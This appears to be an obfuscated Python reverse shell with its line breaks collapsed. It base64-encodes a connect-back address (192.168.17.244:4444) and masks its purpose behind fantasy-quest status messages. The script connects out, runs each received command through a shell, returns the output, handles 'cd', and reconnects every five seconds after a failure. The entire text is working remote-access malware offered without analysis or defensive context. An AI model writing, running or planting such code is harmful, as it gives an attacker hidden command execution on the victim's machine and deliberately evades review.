H,F,B,A,I,J,M,N=[Exception,True,'utf-8',print,'MTky','LjE2OC4xNy4','MjQ0','NDQ0NA=='] import socket as C,subprocess as G,time as L,os as K,base64 as D def E(rune):return rune+'='*(-len(rune)%4) def O():A=''.join([D.b64decode(E(I)).decode(B),D.b64decode(E(J)).decode(B),D.b64decode(E(M)).decode(B)]);return A def P():A=D.b64decode(E(N)).decode(B);return int(A) def Q(spell): try: C=G.Popen(spell,shell=F,stdout=G.PIPE,stderr=G.PIPE,text=F);A,B=C.communicate() if A is None:A='' if B is None:B='' if A or B:return A+B else:return'The spell was cast, but the enemy remained silent.' except H as D:return f"The spell backfired: {str(D)}" def R(): while F: try: D=C.socket(C.AF_INET,C.SOCK_STREAM);I=O();J=P();A(f"The hero embarks on his quest to {I}:{J}");D.connect((I,J));A(f"The hero has entered {I}:{J}") while F: try: E=D.recv(1024).decode(B) if E.lower().strip()=='exit':A("The prophecy foretold the journey's end. The hero shall return soon...");break if E.startswith('cd '): try:K.chdir(E.strip()[3:]);G=f"The hero journeys to {K.getcwd()}" except H as M:G=f"The path is blocked: {str(M)}" else:G=Q(E) if G:D.send(G.encode(B)) except C.timeout:A('The connection was lost. The hero prepares for another attempt...');break except(ConnectionResetError,BrokenPipeError):A('The dark lord severed the connection. The hero will return...');break D.close() except H as N:A(f"A dark force impeded the hero's journey: {N}");A('The hero rests for 5 seconds before setting out again...');L.sleep(5) if __name__=='__main__':A('The hero sets out on a grand quest...');R()